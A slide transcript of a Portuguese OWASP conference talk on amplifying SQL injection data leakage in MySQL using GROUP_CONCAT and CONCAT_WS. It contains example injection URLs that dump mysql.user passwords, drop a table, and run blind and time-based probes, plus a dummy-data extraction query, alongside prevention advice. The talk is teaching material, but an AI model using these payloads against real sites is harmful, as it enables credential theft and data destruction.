sql injection: amplifying data leakeage

17

Click here to load reader

Upload: ulisses-castro

Post on 22-May-2015

1.636 views

Category:

Technology


1 download

DESCRIPTION

Palestra apresentada durante a Conferência Internacional de Segurança de Aplicações (AppSec Brasil 2009)http://www.owasp.org/index.php/AppSec_Brasil_2009

TRANSCRIPT

Page 1: SQL Injection: Amplifying Data Leakeage

Copyright 2007 © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation

OWASP

http://www.owasp.org

SQL InjectionAmplifying Data Leakage

Ulisses CastroSecurity [email protected]

Page 2: SQL Injection: Amplifying Data Leakeage

2OWASP

Ulisses Castro

Consultor, Instrutor e Pentester Teste de Intrusão e Análise de Vulnerabilidades Hardening S.O e Banco de Dados Mantenedor Debian (selinux-basics) CEH – Certified Ethical Hacker LPIC-2 – Linux Professional Institute Certified Colaborador em diversos projetos de software livre

relacionados com segurança

Page 3: SQL Injection: Amplifying Data Leakeage

3OWASP

Agenda

IntroduçãoTécnicas utilizadasPotencializando UNION (inband)

group_concatconcat_wsDemo PoC: sqlidumpIdéias e possibilidades

PrevençõesFerramentas recomendadasDuvidas, agradecimentos, contatos...

Page 4: SQL Injection: Amplifying Data Leakeage

4OWASP

Introdução - O que é SQL Injection?

Ataque de injeção em aplicações que não tratam de maneira adequada a entrada de dados do

usuário permitindo que comandos SQL maliciosos possam ser enviados ao banco de

dados.

Uma das mais antigas e ainda mais utilizada vulnerabilidade em aplicações web.

(1998 - Phrack 54)

Page 5: SQL Injection: Amplifying Data Leakeage

5OWASP

Técnicas utilizadas

UNION (inband)http://www.site.com/index.php?noticia=13 UNION ALL SELECT

query --http://www.site.com/index.php?noticia=13 UNION ALL SELECT

null, concat(user,0x3a,password), null FROM mysql.user LIMIT 0,1--

STACKEDhttp://www.site.com/index.asp?noticia=13; DROP TABLE

noticias; --

Page 6: SQL Injection: Amplifying Data Leakeage

6OWASP

Técnicas utilizadas

BLINDhttp://www.site.com/index.php?noticia=13 AND

SUBSTRING(‘SELECT USER()’, 1, 1) = ‘a’--

BLIND (time based)http://www.site.com/index.php?noticia=13 UNION SELECT

BENCHMARK(1000000000,MD5('testing'))

Page 7: SQL Injection: Amplifying Data Leakeage

7OWASP

UNION (inband)

DEMOProblema do LIMIT

Page 8: SQL Injection: Amplifying Data Leakeage

8OWASP

Potencializando UNION (inband)

GROUP_CONCAT()Retirado do manual (MySQL)

“This function returns a string result with the concatenated non-NULL values from a group.

(...)The result is truncated to the maximum length that

is given by the group_concat_max_len system variable, which has a default value of 1024.

(...)”

Page 9: SQL Injection: Amplifying Data Leakeage

9OWASP

Potencializando UNION (inband)

concat_ws()Retirado do manual (MySQL)

“CONCAT_WS() stands for Concatenate With Separator and is a special form of CONCAT(). The first argument is the separator for the rest of the arguments. The separator is added between the strings to be concatenated. The separator can be a string, as can the rest of the arguments. If the separator is NULL, the result is NULL.”

Page 10: SQL Injection: Amplifying Data Leakeage

10OWASP

Potencializando UNION (inband)

concat_ws()Retirado do manual (MySQL)

“CONCAT_WS() stands for Concatenate With Separator and is a special form of CONCAT(). The first argument is the separator for the rest of the arguments. The separator is added between the strings to be concatenated. The separator can be a string, as can the rest of the arguments. If the separator is NULL, the result is NULL.”

Page 11: SQL Injection: Amplifying Data Leakeage

11OWASP

CONSULTA PREPARADA

SELECT CONCAT('<DATA>','<row>',CONCAT_WS(CONCAT('<row>','<row>'),(CONCAT('<column>',CONCAT_WS(CONCAT('<column>','<column>'),IFNULL(CAST(id AS CHAR(10000)),0x20),IFNULL(CAST(nome AS CHAR(10000)),0x20),IFNULL(CAST(email AS CHAR(10000)),0x20)),'<column>')),(SELECT CONCAT('<column>',CONCAT_WS(CONCAT('<column>','<column>'),IFNULL(CAST(id AS CHAR(10000)),0x20),IFNULL(CAST(nome AS CHAR(10000)),0x20),IFNULL(CAST(email AS CHAR(10000)),0x20)),'<column>') FROM dummy.alunos LIMIT 1,1),(SELECT CONCAT('<column>',CONCAT_WS(CONCAT('<column>','<column>'),IFNULL(CAST(id AS CHAR(10000)),0x20),IFNULL(CAST(nome AS CHAR(10000)),0x20),IFNULL(CAST(email AS CHAR(10000)),0x20)),'<column>') FROM dummy.alunos LIMIT 2,1)),'<row>','<DATA>') FROM dummy.alunos LIMIT 0,1;

Page 12: SQL Injection: Amplifying Data Leakeage

12OWASP

RESULTADO

<DATA><row><column>1<column><column>Mario Brother<column><column>[email protected]<column><row><row><column>2<column><column>Luigi Brother<column><column>[email protected]<column><row><row><column>3<column><column>Koopa Silva<column><column>[email protected]<column><row><DATA>

Page 13: SQL Injection: Amplifying Data Leakeage

13OWASP

Potencializando UNION (inband)

DEMOsqlidump.py

Page 14: SQL Injection: Amplifying Data Leakeage

14OWASP

Algumas idéias...

BLIND QUERY

SELECT ASCII(SUBSTR((SELECT IFNULL(CAST(id AS CHAR(10000)),0x08) FROM dummy.alunos LIMIT 5,1),1,1)) <= 8;

BLIND QUERY + CONCAT_WS()

SELECT CONCAT('<BLIND>',GROUP_CONCAT(CONCAT((ASCII(SUBSTR((SELECT IFNULL(CAST(id AS CHAR(10000)),'NULO') FROM

dummy.alunos LIMIT 1,1),1,1)) <= 8),(ASCII(SUBSTR((SELECT IFNULL(CAST(id AS CHAR(10000)),'NULO') FROM

dummy.alunos LIMIT 1,1),1,1)) <= 100)) SEPARATOR '-'),'<BLIND>');

Page 15: SQL Injection: Amplifying Data Leakeage

15OWASP

Prevenções

OWASP - SQL Injection Prevention Cheat SheetPrepared StatementsStored ProceduresEscapar e validar entradaPolítica do menor privilégioWhite list, regex, etc...

Page 16: SQL Injection: Amplifying Data Leakeage

16OWASP

Ferramentas recomendadas...

sqlmaphttp://sqlmap.sourceforge.net

sqlsushttp://sqlsus.sourceforge.net

sqlninjahttp://sqlninja.sourceforge.net

bsql hackerhttp://labs.portcullis.co.uk/application/bsql-hacker/

Page 17: SQL Injection: Amplifying Data Leakeage

17OWASP

OBRIGADO!CONTATOS:

Ulisses [email protected]://ulissescastro.wordpress.comhttp://twitter.com/usscastro